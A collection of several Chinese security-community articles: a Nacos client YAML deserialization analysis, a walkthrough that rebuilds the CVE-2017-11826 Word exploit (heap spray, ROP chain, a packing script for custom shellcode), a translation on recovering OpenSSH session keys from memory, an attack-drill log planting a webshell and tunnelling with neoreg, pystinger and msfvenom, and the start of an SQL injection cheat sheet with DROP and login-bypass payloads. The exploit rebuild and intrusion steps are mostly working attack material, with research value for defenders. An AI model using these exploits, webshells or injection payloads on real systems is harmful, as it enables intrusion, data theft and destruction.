添加`nacos.core.auth.enable.userAgentAuthWhite`的属性值为false，即可避免使用User-Agent绕过鉴权的问题，但这也引发了新的Bypass，具体的漏洞详情可移步至<https://github.com/alibaba/nacos/issues/4701>，不再赘述。
## 客户端Yaml反序列化
在Nacos的releases记录中搜索 **yaml** 关键字不难发现其在1.4.2版本中有个PR更新了Yaml的安全解析：
而根据PR的描述内容可知实际上该漏洞只影响单独使用 **nacos-client** SDK的用户，原因在于spring
cloud、springboot、dubbo等框架中并非使用的 **AbstractConfigChangeListener**
监听配置，所以该漏洞只影响了使用 **AbstractConfigChangeListener** 监听配置的客户端。
## 漏洞分析
首先在Nacos服务端中添加一个用于测试监听的配置：
使用Maven引入nacos-client依赖:
<dependency>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-client</artifactId>
<version>1.4.1</version>
</dependency>
以官方的监听配置请求示例复现，需要修改 **serverAddr、dataId、group、Listener** ，如果配置了登陆还需要添加
**username** 和 **password** 。
// Client.java
import com.alibaba.nacos.api.NacosFactory;
import com.alibaba.nacos.api.config.ConfigChangeEvent;
import com.alibaba.nacos.api.config.ConfigService;
import com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;
import java.util.Properties;
public class Client {
public static void main(String[] args) throws Exception {
String serverAddr = "{serverAddr}";
String dataId = "{dataId}";
String group = "{group}";
Properties properties = new Properties();
properties.put("serverAddr", serverAddr);
properties.put("username", "nacos");
properties.put("password", "nacos");
ConfigService configService = NacosFactory.createConfigService(properties);
String content = configService.getConfig(dataId, group, 5000);
System.out.println(content);
configService.addListener(dataId, group, new AbstractConfigChangeListener() {
@Override
public void receiveConfigChange(ConfigChangeEvent configChangeEvent) {
System.out.println(configChangeEvent);
}
});
while (true) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
然后在 **com.alibaba.nacos.client.config.impl.YmlChangeParser#doParse** 方法中打下断点：
开启Debug并在服务端中修改上述用于测试的配置内容为yaml反序列化的payload，该payload会加载远程的jar包并运行主类的代码。
点击发布后即可命中断点
再根据堆栈信息进行回溯的调试，首先在 **ConfigFactory#createConfigService** 方法中通过反射获取
**com.alibaba.nacos.client.config.NacosConfigService** 类的实例对象并返回该对象。
在 **NacosConfigService** 的构造器中实例化 **ClientWorker** 对象
跟进 **ClientWorker** 的 **checkConfigInfo** 方法
传入的对象为
**ClientWorker** 的内部类 **LongPollingRunnable** 对象，会调用其run方法。
而run方法就是nacos客户端的长轮询监听，run方法中会循环调用 **cacheDatax.checkListenerMd5**
方法，而CacheData对象是从 **ClientWorker** 对象的 **cacheMap** 属性中获取的。
Iterator var3 = ClientWorker.this.cacheMap.values().iterator();
而 **cacheMap** 中缓存的 **CacheData** 对象是在客户端添加监听的时候写入的
再回到
**ClientWorker.LongPollingRunnable#run** 方法中，前面说到其会调用 **checkListenerMd5**
方法，该方法中会调用 **safeNotifyListener方法** ，并传入监听配置的 **dataId** 、 **group** 、
**content** （修改的新内容）、 **type** 、 **md5** 及 **CacheData.ManagerListenerWrap**
对象。
在 **safeNotifyListener** 方法中调用了 **ConfigChangeHandler#parseChangeData**
方法解析数据，传入的参数 **listenerWrap.lastContent** 为修改前的内容， **content** 为修改后的内容，
**type** 为数据类型（TEXT/JSON/XML/YAML/HTML/Properties）。
其会调用
**YmlChangeParser#doParse** 方法
**YmlChangeParser#doParser** 方法中触发Yaml反序列化漏洞，请求远程的Jar包并执行。
再次声明，该漏洞只影响使用 **AbstractConfigChangeListener** 监听器的客户端，原因如下：
## 漏洞修复
在1.4.2版本中已修复了该漏洞，修复方法为使用SnakeYaml提供的SafeConstructor解析Yaml配置。
## 实战应用
在实际的渗透测试中如果获取了Nacos Server控制台权限的话，不妨可以尝试修改已有的配置为Yaml
Payload进行盲打客户端的攻击。但通常情况下的Springboot或SpringCloud都可以集成使用Nacos，所以这种场景下一般不会出现存在漏洞的情况。 | 社区文章 |
**作者：Joey@天玄安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/F_BIk3slcZ8gXGuQ0T9Pwg>**
## 前言
最近开始分析Office漏洞，拿到CVE-2017-11826的样本后发现无法在Office2010上成功执行，打算分析并改造该EXP。参考了许多资料，结合自己的理解写了本文，供大家学习和参考。
## 漏洞分析
### 分析环境
OS: Win7 x64 SP1
Office: Ofiice 2010 x86
Image name: wwlib.dll
Timestamp: Sat Mar 27 23:37:07 2010 (4BAE2623)
CheckSum: 0127F568
ImageSize: 0127A000
File version: 14.0.4762.1000
Product version: 14.0.4762.0
### 静态分析
在rtf文档中搜索object，发现嵌入了3个ole对象：
第一个对象的CLSID为`D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731`，在注册表搜索后发现该对象位于`C:\Windows\SysWOW64\msvbvm60.dll`，而该dll是没有ASLR的。
通过ProcessExplorer发现word打开rtf文档后确实加载了msvbvm60.dll，且该dll无ASLR，说明该ole对象的作用是绕过ASLR。
使用`rtfobj.py -s all`提取ole对象：
第一个对象经过上面的分析是用于绕过ASLR的，第二和第三个都是.doc文档，使用压缩软件直接打开第二个文档，文档结构如下：
│ [Content_Types].xml
│
├─docProps
│ app.xml
│ core.xml
│
├─word
│ │ document.xml
│ │ fontTable.xml
│ │ settings.xml
│ │ styles.xml
│ │ webSettings.xml
│ │
│ ├─activeX
│ │ │ activeX1.bin
│ │ │ activeX1.xml
│ │ │ activeX2.xml
│ │ │ ······
│ │ │ activeX40.xml
│ │ │
│ │ └─_rels
│ │ activeX1.xml.rels
│ │ activeX2.xml.rels
│ │ ······
│ │ activeX40.xml.rels
│ │
│ ├─media
│ │ image1.wmf
│ │
│ ├─theme
│ │ theme1.xml
│ │
│ └─_rels
│ document.xml.rels
│
└─_rels
.rels
可以看出使用了40个activeX.xml文件，文件内容如下：
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
40个xml文件内容一致，加载了CLSID为{00000000-0000-0000-0000-000000000001}的对象，然而系统中并没有这个对象，所以并不会加载任何对象，这么做是为了提高堆喷的效率，具体原理可查看[SPRAYING
THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT
OFFICE](https://www.greyhathacker.net/?p=911)一文。
而40个activeX.xml.rels的内容也完全一致：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>
都指向了activeX1.bin文件，因此会将activeX1.bin在内存中加载40次，以此达到堆喷的目的。
activeX1.bin文件结构如下：
activeX1.bin
│ -文件头
│ -数据
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │ ······
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │---shellcode
│ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│ │ ······
│ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│ │ ······
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │ ······
看结构似乎是滑板指令加shellcode，待调试验证。
第三个文档结构如下：
│ [Content_Types].xml
│
├─docProps
│ app.xml
│ core.xml
│
├─word
│ │ document.xml
│ │ endnotes.xml
│ │ fontTable.xml
│ │ footnotes.xml
│ │ settings.xml
│ │ styles.xml
│ │ webSettings.xml
│ │
│ ├─theme
│ │ theme1.xml
│ │
│ └─_rels
│ document.xml.rels
│
└─_rels
.rels
document.xml的内容如下：
观测到`<w:font` 标签内有异常字符，且标签未正常闭合，预测漏洞触发于该处。
通过静态分析了解到RTF文档通过内嵌3个ole对象来实现ASLR绕过、堆喷射和漏洞触发，ASLR绕过是通过加载CLSID为`D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731`的COM对象，将`msvbvm60.dll`加载到内存中。堆喷射利用40个activeX.xml.rels指向唯一的activeX1.bin文件，将activeX1.bin文件中的数据部分，即偏移为0x800后的内容加载到内存中实现堆喷射。而漏洞触发部分则利用document.xml中的异常字符和标签触发漏洞。
### 动态调试
使用windbg附加word，打开漏洞文件：
可以看到异常因为ecx+4指向的内存无法访问导致错误。查看反汇编得知ecx的值来源于eax，此时eax的值为`088888ec`。再次打开漏洞文件发现ecx的值改变，但是eax的值仍为`088888ec`，说明eax的值为故意构造。
于是打算下断在函数`wwlib!DllGetClassObject+0x42d4
(71ed98b0)`查看eax是如何生成的。查看wwlib的基地址，算出函数的偏移为`wwlib+004da16b`。
0:000> lm m wwlib
start end module name
71ed0000 7314a000 wwlib (export symbols) C:\PROGRA~2\MICROS~1\Office14\wwlib.dll
0:000> ? 723aa16b-71ed0000
Evaluate expression: 5087595 = 004da16b
重新打开漏洞文档，`bp wwlib+004da16b`下断：
步过两次后执行到如图所示位置时，查看eax所在的内存：
发现和在文档3中的字符串一致，接着查看eax+44，对应的正是异常触发时eax的值`088888ec`。
但在xml文件中，字符串中的异常字符的十六进制为`e8a3ace0a288`：
在文件中显示的格式是Ascii，然而在内存中显示的是Unicode，于是将文件中的字符以utf-8格式转换为十六进制正是eax的值`088888ec`：
说明通过修改该字符串可以控制eax的值，进而控制eip。
在ida中找到奔溃函数为sub_31A55CE6，发现变量v3是宽字节字符串，位于arg2+0x18，变量v4是一个长度，位于arg2+0x1c
在windbg设置崩溃函数起始点打印v3为字符串，长度为v4：`bp wwlib+385ce6 "du poi(poi(esp+8)+18)
Lpoi(poi(esp+8)+1c); g;"`
可以看到v3就是xml文件中的标签，在解析到idmp标签后程序崩溃，然而并没有看到font标签，于是寻找到崩溃函数的父函数sub_3170FA5A
崩溃函数arg2的值为edi，而edi的值为父函数的arg2：
于是在父函数和崩溃函数同时下断，查看标签解析情况：
bp wwlib+3fa5a ".printf \"Parent_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
bp wwlib+385ce6 ".printf \"Crash_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
在父函数成功解析到font标签，猜测因为font标签未闭合而导致崩溃函数解析标签出错产生漏洞，修改了xml文件闭合了font标签：
将修改后的docx文件嵌入到新建的rtf文件中，在windbg中调试后发现eax的值改变了，并且没有异常，证实因为font标签未闭合导致的漏洞。
继续调试发现异常触发点的eax和ecx都是来自于esi，而esi为漏洞函数的arg1：
因此在漏洞函数打印标签以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值：
bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;"
打印出的结构就是Taglist结构体，具体结构参考goabout2的[office
CVE-2017-11826杂谈](https://www.cnblogs.com/goabout2/p/8186018.html)一文。
接着调试异常触发点上的函数，发现函数功能为通过层级标签获取TagObject Array[Index-2]：
继续向上追溯，发现函数GetTagObject也调用了GetTagObjectByIndex，通过分析发现该函数获取的是TagObject
Array[Index-1]的地址：
分析到这里，漏洞产生的原因也就出来了，由于word每解析一个标签，Current_Index的值就加一，当解析到闭合标签，Current_Index值会减1。由于构造了没有闭合的font标签，因此导致在解析idmap标签时比正常文件的Current_Index多一，导致原本应该获取OLEObject标签的TagObject变成获取了font的TagObject，因此造成了标签类型混淆导致漏洞的发生。
将标签层级和xml文件标签对应：
可以证实确实因为Current_Index值比正常文件的多一导致的类型混淆。
在内存中查看当解析idmap层级为6时Taglist的内存结构：
> bp wwlib+4da16b
> g
Breakpoint 1 hit
eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc
eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
wwlib!DllGetLCID+0x2cc775:
6f95a16b e840f7b2ff call wwlib!DllGetClassObject+0x42d4 (6f4898b0)
> ub $ip L8
wwlib!DllGetLCID+0x2cc75d:
6f95a153 83780401 cmp dword ptr [eax+4],1
6f95a157 0f85f5bdeaff jne wwlib!DllGetLCID+0x17855c (6f805f52)
6f95a15d 8bb6f0170000 mov esi,dword ptr [esi+17F0h]
6f95a163 8b06 mov eax,dword ptr [esi]
6f95a165 8b10 mov edx,dword ptr [eax]
6f95a167 4a dec edx
6f95a168 4a dec edx
6f95a169 8bce mov ecx,esi
此时eax的值即为Taglist，因此查看eax指向的Taglist结构：
此时TagObject[4]+0x44的值为`0x090b4000`，查看该值在内存中存储的数据：
发现[[TagObject[4]+0x44]+0x44]的值正是xml文件中font标签构造的固定地址，自此漏洞部分分析完毕。
## 漏洞利用
先启动word然后使用windbg附加会导致堆喷无法成功，继而无法分析漏洞利用部分。因此使用gflags.exe让调试器直接加载winword.exe：
设置断点在异常触发点：
> bp wwlib+4da184
> g
Breakpoint 0 hit
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc
eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50 push eax
0:000> u $ip
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50 push eax
6e2da185 ff5104 call dword ptr [ecx+4]
6e2da188 e9fabdeaff jmp wwlib!DllGetLCID+0x178591 (6e185f87)
6e2da18d 83f802 cmp eax,2
6e2da190 750f jne wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)
6e2da192 83c624 add esi,24h
6e2da195 56 push esi
6e2da196 52 push edx
> dd ecx+4
088883f0 72980e2b 72980e2b 72980e2b 72980e2b
08888400 72980e2b 72980e2b 72980e2b 72980e2b
08888410 72980e2b 72980e2b 72980e2b 72980e2b
08888420 72980e2b 72980e2b 72980e2b 72980e2b
08888430 72980e2b 72980e2b 72980e2b 72980e2b
08888440 72980e2b 72980e2b 72980e2b 72980e2b
08888450 72980e2b 72980e2b 72980e2b 72980e2b
08888460 72980e2b 72980e2b 72980e2b 72980e2b
发现exc+4的值为activeX1.bin中shellcode下方的填充，说明已经成功堆喷。
步入[exc+4]后发现来到了msvbvm60.dll，已经进入了ROP链：
> t
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc
eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
msvbvm60!IID_IVbaHost+0x127eb:
72980e2b 94 xchg eax,esp
而第一条指令则是用来栈迁移，在之前已经将eax入栈，而eax的值正是构造好的`0x088888ec`，执行指令后，esp的值已经变成了`0x088888ec`：
而eax中的内容刚好位于shellcode的上方，此时ROP链为滑板指令，循环执行`pop eax`和`ret`，此时可以下断`bp 729440cc
".if(esp=08888f48){}.else{gc}"`停在了滑板指令结束的位置：
当执行到最后一次滑板指令时，会将`0x729410d0`放入eax中，而该值是msvbvm60.dll的IAT表中的数据，查看后存储的是VirtualProtect的地址：
紧接着通过ret跳转到ROP指令`jmp [eax]`执行VirtualProtect，而此时栈中为构造好的VirtualProtect的参数：
再次跳转后进入到kernelbase.dll的VirtualProtect：
执行后会跳转到`0x08888f70`执行shellcode：
然而VirtualProtect的修改的内存范围只有`0x08888c90 -0x08888e91`，而shellcode却位于`0x08888f70`，因此会触发c0000005访问异常，shellcode执行失败：
### 利用改造
activeX1.bin文件中布局如下：
由于原本VirtualProtect修改的范围为0x201不够，因此修改为0x1000确保能够覆盖shellcode，随后将shellcode替换为自己的shellcode即可。
将修改好的activeX1.bin文件替换到rtfobj.py提取出来进行堆喷的文档中，并修改为.docx，脚本参考[Exploiting Word:
CVE-2017-11826](https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/)一文，替换脚本如下：
import os
import shutil
import zipfile
template_path = ""
final_docx_name = ""
activeX_bin_path = ""
def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path):
if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path):
print("Template docx file or activeX.bin file not exist.")
return
with open(activeX_bin_path, "rb") as f_:
object_bin_data = f_.read()
zip_docx = template_path + ".zip"
current_dir = os.path.abspath(os.path.dirname(__file__))
new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx))
if os.path.exists(new_path):
os.remove(new_path)
shutil.copy(template_path, new_path)
zip_docx = new_path
# open temp docx and a copy for modification
zin = zipfile.ZipFile(zip_docx, 'r')
zip_docx_copy = zip_docx + "_copy_"
zout = zipfile.ZipFile(zip_docx_copy, "w")
# modify the docx template with exploit
for item in zin.infolist ():
if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0:
pass
else:
buffer = zin.read(item.filename)
zout.writestr(item, buffer) # use existing file
zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data)
zout.close ()
zin.close ()
# convert to docx
os.rename (zip_docx_copy, final_docx_name)
os.remove(zip_docx)
pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)
新建一个rtf文件，将替换好的docx文件添加到rtf文件中，保存后使用010Editor打开，搜索object，将{\object和{*\objdata的全部内容复制:
再新建一个rtf文件，按照堆喷射、Bypass
ASLR和漏洞触发的顺序添加三个对象。堆喷射的内容就是上方复制好的内容，其他两个可以直接在原EXP中复制过来即可，最终EXP的结构如下所示：
最终成功执行了shellcode：
## 参考链接
[1] [CVE-2017-11826漏洞分析、利用及动态检测](https://www.anquanke.com/post/id/87122)
[2] [office CVE-2017-11826杂谈](https://www.cnblogs.com/goabout2/p/8186018.html)
[3] [SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT
OFFICE](https://www.greyhathacker.net/?p=911)
[4] [Exploiting Word:
CVE-2017-11826](https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/)
[5] [Open XML标签解析类漏洞分析思路](https://www.anquanke.com/post/id/103080)
* * * | 社区文章 |
# SSH协议流量解密与会话还原
|
##### 译文声明
本文是翻译文章，文章原作者 fox-it，文章来源：blog.fox-it.com
原文地址：<https://blog.fox-it.com/2020/11/11/decrypting-openssh-sessions-for-fun-and-profit/>
译文仅供参考，具体内容表达以及含义原文为准。
不久前，我们参与了一起取证分析事件，客户的一个Linux服务器被入侵，攻击者留了一个OpenSSH后门。客户保存了入侵过程中的完整数据流量包和虚拟机系统快照，我们想看看是否可以从虚拟机快照的内存中提取密钥来解密网络流量中的SSH会话。在本文中，将介绍我对OpenSSH所做的研究，并发布一些从内存中抓取OpenSSH会话密钥的工具，配合数据流量可以解密SSH会话。
## SSH协议
首先，我开始了解OpenSSH的工作原理。OpenSSH是开源的，因此可以轻松下载到源代码从而分析其实现细节。从RFC协议文档中也找到了很多有用的信息。
从整体流程来看，SSH协议交互过程如下：
1. SSH协议+软件版本交换
2. 算法协商（KEX INIT）
3. 密钥交换算法
4. 加密算法
5. MAC算法
6. 压缩算法
7. 密钥交换
8. 用户身份认证
9. 客户请求“会话”类型的信道
10. 客户端请求伪终端
11. 客户端与会话进行交互
协议开始时，客户端将连接到服务端并发送协议版本和软件版本：SSH-2.0-OpenSSH_8.3，服务端返回其协议和软件版本。在交换了初始协议和软件版本后，后续所有流量都封装在SSH协议帧中。SSH协议帧主要包括长度，填充长度，数据，填充内容和MAC值。SSH协议帧示例：
在协商加密算法并生成会话密钥之前，SSH协议帧是不加密的，即使帧内容被加密，根据加密算法的不同，帧的部分内容可能也是明文的。例如，aes256-gcm不会加密帧的长度字段（4字节），但是chacha20-poly1305会进行加密。
接下来，客户端将向服务器发送KEX_INIT消息来协商会话参数，例如用于密钥交换和加密的算法。根据这些算法的优先级，客户端和服务端将选择第一个双方都支持的算法。在KEX_INIT消息之后，双方互发几个与会话密钥交换相关的消息，然后再互发NEWKEYS消息。此消息告诉另一端，所有准备工作都已就绪，消息报文中的下一帧将开始加密。在生成的会话密钥开始生效后，客户端将开始进行用户身份验证，具体验证方式取决于服务端的配置（密码、公钥等）。当身份验证通过后，将打开一个信道，所有后续的服务请求（ssh/sftp/scp等）都将通过该信道进行。
## 恢复会话密钥
恢复会话密钥的第一步是分析OpenSSH源代码并调试OpenSSH二进制文件。我尝试自己修改并编译OpenSSH源码，将OpenSSH运行时生成的会话密钥记录下来，然后用调试器挂上OpenSSH进程，在内存中搜索会话密钥，最终成功的在堆内存上找到了会话密钥。在分析源代码中责发送和接收NEWKEYS帧的函数时，我发现有一个ssh结构体，里面有一个成员结构体叫session_state，该结构体成员依次保存着与当前SSH会话有关的所有信息，其中有一个newkeys结构体，储存着加密、mac和压缩算法有关的信息。继续往下深挖，最终找到了包含cipher，密钥，IV和分块长度的sshenc结构体。这下所有我们需要用于解密的信息都有找到了！下图是OpenSSH结构的概述：
以及sshenc结构的定义：
在内存中找到密钥本身非常困难（因为它只是一串随机字节），但是sshenc结构体非常特别，它具有一些可以验证的属性。我们可以抓取程序的整个内存地址空间，并用偏移量来对这些约束进行验证。我们可以验证以下约束条件：
1. name，cipher，key和iv成员是有效的指针
2. name指向的内存是一个有效的cipher名称，且需要与cipher->name相同
3. key_len在有效范围内
4. iv_len在有效范围内
5. block_size在有效范围内
通过验证上述所有的约束条件，那么应该能够比较稳定的找到sshenc结构。我开始写一个能够用调试器挂上OpenSSH进程并在内存中搜索该sshenc结构体的Python脚本。该脚本的源代码：[OpenSSH-Session-Key-Recovery](https://github.com/fox-it/OpenSSH-Session-Key-Recovery)。脚本的功能非常稳定，会将找到的每个sshenc结构打印出来。到目前为止，已经可以使用Python和ptrace从运行状态的机器中恢复会话密钥，但是我们如何从内存快照中恢复会话密钥呢？这就需要用到Volatility。Volatility是一个用Python编写的内存取证框架，可以编写自定义插件。经过一些尝试，我编写了一个Volatility
2插件，能够分析内存快照并抓取会话密钥！我还将该插件移植到了Volatility 3，并将该插件提交给了社区。
Volatility 2 SSH 会话秘钥抓取结果如图：
## 解密和解析流量
现在已经成功提取了内存中所有用于加密和解密流量的会话密钥，接下来就是解密流量。我使用Pynids（一个TCP流量解析和重组的Python库）来解析数据流量，使用我们内部开发的dissect.cstruct库来解析数据结构体，在此基础上开发了一个解析框架来解析诸如ssh之类的协议。解析框架将数据包以正确的顺序发送到协议解析器，如果客户端发送2个数据包，而服务器回复3个数据包，则这些数据包也将以相同的顺序提供给解析器，这对于保持整体协议状态很重要。解析器会正常解析SSH帧报文，直到遇到NEWKEYS帧为止，这表明下一帧将会开始加密。当解析器拿到第一个加密帧时，会遍历所有提取到的会话密钥来尝试解密该帧。如果解密成功，则解析器会使用这个密钥来解密会话中接下来的所有加密帧。这个解析器几乎可以处理OpenSSH支持的所有加密算法。解密过程动画示例如下：
最后解析器会将解密后的会话还原出来，甚至还能看到用户用于认证的密码：
## 结论
本文研究了SSH协议原理，以及OpenSSH进程如何在内存中存储话密钥，找到了一种从内存中抓取它们并在网络流量解析器中使用它们的方法，能够将SSH会话解密并还原为可读输出。文中所用脚本如下：
1. _直接从内存中抓取会话秘钥的Python POC脚本_
2. [Volatility 2插件](https://github.com/fox-it/OpenSSH-Session-Key-Recovery/tree/main/volatility2)
3. [Volatility 3插件](https://github.com/fox-it/OpenSSH-Session-Key-Recovery/tree/main/volatility3)
4. [SSH协议解析器](https://github.com/fox-it/OpenSSH-Network-Parser)
后续可能会将解密器和解析器实集成到Wireshark中。
## 参考资料
1. <https://fossies.org/dox/openssh-8.4p1/structssh.html>
2. <https://fossies.org/dox/openssh-8.4p1/structsshenc.html> | 社区文章 |
# 记一次失败的打点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
在某次攻防演练的晚上，大佬给我一个网站，说有一个RCE漏洞打一下试试，抱着试试就逝世的心态，进行了打点行动。
## 上传webshell
在web目录发现了一个已存在木马xx.jsp
<%if(request.getParameter("f".getBytes());%>< a href="One_OK"></ a>
利用已经存在的上传后门，构建一个html表单来上传我们的自己木马
<form action="http://xx.x.x.x:8080/scdc/xx.jsp?f=fuckjp.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>
目标不出网，无法外联
## neoreg
还原大致流程
### 生成neoreg
`py -2 neoreg.py generate -k password`
### 上传&验证
`py -2 neoreg.py -k password -u http://192.168.11.132/3.php`
### msf上线
`msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9001 -f exe -o
reverse.exe`
`gedit /etc/proxychains4.conf`
`proxychains4 msfconsole`
## CS上线
### pystinger
蚁剑上传`proxy.php` 和`stinger_server.exe`并执行 `start stinger_server.exe`
攻击机执行
`stinger_client.exe -w http://192.168.11.132/proxy.php -l 127.0.0.1 -p 60000`
### 设置监听
### 上线
## 结束语
最后不幸被蓝队发现，痛失权限，打点失败。 | 社区文章 |
# SQL注入速查表
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
译文仅供参考，具体内容表达以及含义原文为准。
**SQL注入的基本知识**
所谓SQL注入，就是通过把SQL命令插入到Web表单提交，输入域名或页面请求的查询字符串中，最终达到欺骗服务器并执行恶意SQL命令的目的。具体来说，它是利用现有的恶意软件，然后将（恶意）的SQL命令注入到后台数据库引擎并执行相应的查询语句，它可以通过在Web表单中输入SQL语句来得到一个存在安全漏洞的网站数据库，而不是按照设计者意图去执行SQL语句。
**SQL注入速查表是什么？**
SQL注入速查表可以为你提供大量SQL注入漏洞得详细技术信息，当你需要获取这些信息时，SQL注入速查表是你最好的选择。无论你是一名经验丰富的渗透测试人员，还是一名刚刚开始接触[web应用安全](https://www.netsparker.com/)的初学者，这份速查表都将会为你提供很大的帮助。
**关于这份SQL注入速查表的一些信息**
这份SQL注入速查表最初是由Ferruh
Mavituna于2007年时在他的博客上发布的。此后，我们对它进行了更新，并且将其转移到了公司CEO的官方博客上。目前，这份SQL注入速查表只包含有MySQL，微软SQL
Server，以及一些关于ORACLE和PostgreSQL数据库的有限信息。在有的情况下，这份速查表中的有些实例可能已经无效了，因为在现实世界中，圆括号的使用方法以及相同代码的使用方法都不同，而且在不同的情况下，还需要使用到非常复杂和奇怪的SQL查询语句。
我们在这篇文章中给大家提供了一些简单的样本，大家可以通过这些样本来了解到有关这种攻击方法的基础知识。除此之外，我们还在每一个章节中都提供了一些简短的介绍信息。
M: MySQL
S: SQL Server
P: PostgreSQL
O: Oracle
+: (大概)其他所有数据库
例子：
(MS) 代表 : MySQL 和 SQL Server 等服务器。
(M*S) 代表 : 只在某些版本的MySQL和SQL Server中出现，或者某些附在后文中的特殊情况下出现。
语法参考，攻击样本，SQL注入技巧
行间注释
注释掉查询语句的其余部分
行间注释通常用于注释掉查询语句的其余部分，这样你就不需要去修复整句语法了。
l –(SM)
DROP sampletable;–
l # (M)
DROP sampletable;#
使用了行间注释的SQL注入攻击样例
l Username: admin'–
SELECT * FROM members WHERE username = 'admin'–' AND password = 'password'
这条语句允许你以管理员（admin）身份登陆，因为其余部分的SQL语句已经被注释掉了。
行内注释
注释掉查询语句的其余部分，但是并不关闭注释，或者你可以利用这一技术来绕过过滤，移除空格，混淆，或探测目标数据库的版本信息。
l /*注释内容*/ (SM)
DROP/*注释*/sampletable
DR/**/OP/*绕过过滤*/sampletable
SELECT/*替换空格*/password/**/FROM/**/Members
l /*! MYSQL专属 */ (M)
这是个MySQL的专属语法。非常适合用于探测MySQL的版本信息。如果你在注释中写入了代码，那么只有MySQL才会执行。同样的，你也可以利用这项技术来实现只有高于某版本的服务器才会去执行某些代码。
SELECT /*!32302 1/0, */ 1 FROM tablename
使用了行内注释的注入攻击样例
l ID: 10; DROP TABLE members /*
简单地摆脱了处理后续语句的麻烦，同样你也可以使用10; DROP TABLE members
l –SELECT /*!32302 1/0, */ 1 FROM tablename
如果MySQL的版本高于3.23.02，那么系统将会抛出一个division by 0 error。
MySQL版本探测攻击样例
l ID: /*!32302 10*/
l ID: 10
如果MySQL的版本高于3.23.02，那么以上两次查询你将得到相同的结果
l SELECT /*!32302 1/0, */ 1 FROM tablename
如果MySQL的版本高于3.23.02，那么系统将会抛出一个division by 0 error。
堆叠查询(Stacking Queries)
在一句代码之中执行多个查询语句，这项技术在每一个注入点都非常有效，尤其是对那些使用SQL Server作为后端服务器的应用。
l ; (S)
SELECT * FROM members; DROP members—
结束一个查询并开始一个新的查询。
支持堆叠查询的语言/数据库
绿色：支持，暗灰色：不支持，浅灰色：未知
**关于MySQL和PHP**
首先，我需要阐明一些问题。
PHP-MySQL是不支持堆叠查询的，Java是不支持堆叠查询的（ORACLE的我很清楚，其他的就不确定了）。通常情况下，MySQL支持堆叠查询，但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询，或许MySQL的客户端支持这个，我不确定，有人能确认一下吗？
堆叠注入攻击样例
l ID: 10;DROP members —
l SELECT * FROM products WHERE id = 10; DROP members—
在执行完正常查询之后将会执行DROP SQL查询语句。
If语句
根据If语句得到响应。这是盲注(Blind SQL Injection)的关键之一，同样也能简单而准确地进行一些测试。
MySQL中的If语句
l IF(condition,true-part,false-part)(M)
SELECT IF (1=1,'true','false')
SQL Server中的If语句
l IF condition true-part ELSE false-part(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
Oracle中的If语句
l BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END; (O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL中的If语句
